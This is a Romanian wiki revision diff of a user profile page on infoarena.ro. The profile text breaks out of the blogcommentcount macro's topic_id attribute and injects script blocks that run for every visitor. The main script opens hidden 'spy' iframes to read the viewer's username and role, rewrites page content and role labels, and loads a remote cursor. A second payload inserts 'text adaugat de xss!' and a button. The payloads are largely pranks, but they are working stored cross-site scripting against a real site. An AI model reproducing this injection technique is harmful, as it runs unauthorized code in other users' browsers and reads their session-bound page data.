Diferente pentru utilizator/mr.dynamite intre reviziile #116 si #21

Nu exista diferente intre titluri.

Diferente intre continut:

==include(page="utilizator/mr.dynamite")==
 
sadasdas
 
 
(htabs)* 'dai dai sa inceapa smecheria':clasament-rating
* 'yny tarabanele baga n boala fetele':clasament-arhiva
 
 
== blogcommentcount(topic_id="test"">
<script>
function get_style(color) {
	return '<span style=\'color: ' + color + '; font-weight: 900; text-shadow:-1px -1px 0 #000,1px -1px 0 #000,-1px 1px 0 #000,1px 1px 0 #000;\'>$1</span>'
}
 
function apply_style() {
	var page = document.getElementsByClassName('wiki_text_block')[2];
	var content = page.innerHTML;
 
	content = content.replace(/(\baur\b)/gi, get_style('gold'));
	content = content.replace(/(\bargint\b)/gi, get_style('silver'));
	content = content.replace(/(\bbronz\b)/gi, get_style('chocolate'));
	content = content.replace(/(\bmentiune\b)/gi, get_style('#e5e4e2'));
	content = content.replace(/(\blocul \w+\b)/gi, get_style('#e5e4e2'));
	content = content.replace(/(\bpremiul \w+\b)/gi, get_style('#e5e4e2'));
	page.innerHTML = content;
}
 
function colorize_navbar() {
	window.setInterval(function(){
		var d = new Date();
		var interval = 10000;
		var hueAngle = Math.floor((d.getTime()) % interval / interval * 360);
		document.getElementById('header').setAttribute('style', 'filter: hue-rotate(' + hueAngle + 'deg);');
		document.getElementById('topnav').setAttribute('style', 'filter: hue-rotate(' + hueAngle + 'deg);');
	}, 1);
}
 
function add_li(txt, lnk) {
	var htabs = document.getElementsByClassName('htabs')[0];
	var li = document.createElement('li');
	li.setAttribute('style', 'padding: 0px 0px 0px 5px;');
	var n = document.createElement('strong');
	n.setAttribute('style', 'color: red;');
	n.appendChild(document.createTextNode('New! '));
	var a = document.createElement('a');
	a.appendChild(n);
	a.appendChild(document.createTextNode(txt));
	a.setAttribute('href', lnk);
	a.setAttribute('target', '_blank');
 
	li.appendChild(a);
	htabs.appendChild(li);
}
 
function get_profile_username() {
	var a = window.location.pathname.split('/');
	return a[a.length - 1].toLowerCase();
}
 
function change_htabs_taget() {
	var [df_a, df_b, df_c] = document.getElementsByClassName('htabs')[0].children;
	df_a.children[0].setAttribute('target', 'dummy_frame');
	df_b.children[0].setAttribute('target', 'dummy_frame');
	df_c.children[0].setAttribute('target', 'dummy_frame');
	df_a.children[0].href = df_a.children[0].href.replace('http://', 'https://');
	df_b.children[0].href = df_b.children[0].href.replace('http://', 'https://');
	df_c.children[0].href = df_c.children[0].href.replace('http://', 'https://');
	df_active = df_a;
 
	dummy_frame = document.createElement('iframe');
	dummy_frame.setAttribute('name', 'dummy_frame');
	dummy_frame.onload = function() {
		if (dummy_frame.contentDocument.body.innerHTML == '')
			return;
 
		document.body.getElementsByClassName('wiki_text_block')[2].innerHTML = dummy_frame.contentDocument.body.getElementsByClassName('wiki_text_block')[2].innerHTML;
		df_active.setAttribute('class', '');
		var href = dummy_frame.contentWindow.location.href;
		if (href == df_a.children[0].href) df_active = df_a;
		if (href == df_b.children[0].href) df_active = df_b;
		if (href == df_c.children[0].href) df_active = df_c;
		df_active.setAttribute('class', 'active');
 
		if (df_active != df_a)
			return;
		if (viewer.status != '' && !viewer.is_awesome)
			insert_info();
		apply_style();
	}
 
	dummy_frame.style.display = 'none';
	document.body.appendChild(dummy_frame);
	dummy_frame.src = 'https://www.infoarena.ro/utilizator/' + get_profile_username();
}
 
function change_status(new_status) {
	var tds = document.getElementsByTagName('td');
	for (var x in tds)
		if (tds[x].innerHTML == 'Helper' || tds[x].innerHTML == 'Administrator' || tds[x].innerHTML == 'Utilizator normal') {
                        tds[x].innerHTML = '';
			tds[x].innerHTML = new_status.replace('#', tds[x].innerHTML);
			break;
		}
}
 
function inIframe () {
	try {
		return window.self !== window.top;
	} catch (e) {
		return true;
	}
}
 
function insert_info() {
	var t = '<div style=\'width: 450px; position: absolute;\'><h2>Awesome2.js</h2>\
<p>o recreare a scriptului lui tiberiu musat</p>acest exemplu se foloseste de macro-ul <span style=\'font-family: monospace; font-weight: 900;\'>blogcommentcount</span> care este folosit in forum pentru a vedea cate comentarii se afla sub un thread, codul sursa  al acestui macro se afla <a href=\'https://github.com/bogdan2412/infoarena/blob/master/www/macros/macro_blogcommentcount.php\'>aici</a>\
<p>Orice sugestie este binevenita.<br />\
Autor: <a href=\'divaddd\'>David Curca</a></p></div>';
	document.body.getElementsByClassName('wiki_text_block')[2].innerHTML += t;
}
 
function get_viewer_username() {
	try {
		return document.getElementById('userbox').childNodes[3].childNodes[6].innerText.toLowerCase();
	} catch(e) {
		return '';
	}
}
 
function sleep(ms) {
	return new Promise(resolve => setTimeout(resolve, ms));
}
 
async function get_user_status(username) {
	status = '';
	is_awesome = false;
	if (username == '')
		return '';
	status = 'loading';
 
	spy_frame = document.createElement('iframe');
	spy_frame.setAttribute('name', 'spy_frame');
	spy_frame.onload = function() {
		try {
			if (spy_frame.contentDocument.body.innerHTML == '')
				return;
		} catch(e) {
			status = '';
			return;
		}
 
		try {
			var tds = spy_frame.contentDocument.body.getElementsByTagName('td');
			var s = ['Helper', 'Administrator', 'Utilizator normal'];
			for (var x in tds) {
				for (var y in s)
					if (tds[x].innerText.indexOf(s[y]) != -1) {
						status = s[y];
						break;
					}
				if (status != 'loading')
					break;
			}
		} catch(e) {
			status = '';
		}
 
		try {
			var scripts = spy_frame.contentDocument.body.getElementsByTagName('script');
			var awesome_src = 'https://tiberiu.info/awesome.js';
			for (var x in scripts) {
				for (var y in s)
					if (scripts[x].src == awesome_src) {
						is_awesome = true;
						break;
					}
				if (is_awesome)
					break;
			}
		} catch(e) {
			is_awesome = false;
		}
	}
 
	spy_frame.style.display = 'none';
	document.body.appendChild(spy_frame);
	spy_frame.src = 'https://www.infoarena.ro/utilizator/' + username;
 
	while (status == 'loading')
		await sleep(100);
	return status;
}
 
function changeCursor(url) {
	document.body.setAttribute('style', 'cursor: url(' + url + '), auto;');
}
 
function main() {
	viewer = {status: status, is_awesome: is_awesome};
 
	colorize_navbar();
	changeCursor('http://www.rw-designer.com/cursor-download.php?id=65034');
 
	if (get_profile_username() == 'tiberiu02')
		add_li('tiberiu.info', 'https://tiberiu.info');
 
	change_htabs_taget();
	change_status('# Admin wannabe');
 
	console.log('Succesfully executed awesome.js!');
}
 
function mainLoader() {
	if (inIframe())
		return;
 
	get_user_status(get_viewer_username()).then(main);
}
 
mainLoader();
 
</script> <a style="" ") ==
== blogcommentcount(topic_id="test""> <script>var numeButton='\'butonStecker\''; var stilButon='\'padding: 10px;\''; document.body.getElementsByClassName('wiki_text_block')[2].innerHTML = 'text adaugat de xss! <br/> ce tare <br/> <button style=' + stilButon + ' id=' + numeButton + '>apasa pe buton pentru ceva smecher</button>' document.getElementById(\'butonStecker\').addEventListener(\'click\', myFunction); function myFunction() { console.log(\'aia zic\'); } </script> <a style="" ") ==
 

Nu exista diferente intre securitate.

Topicul de forum nu a fost schimbat.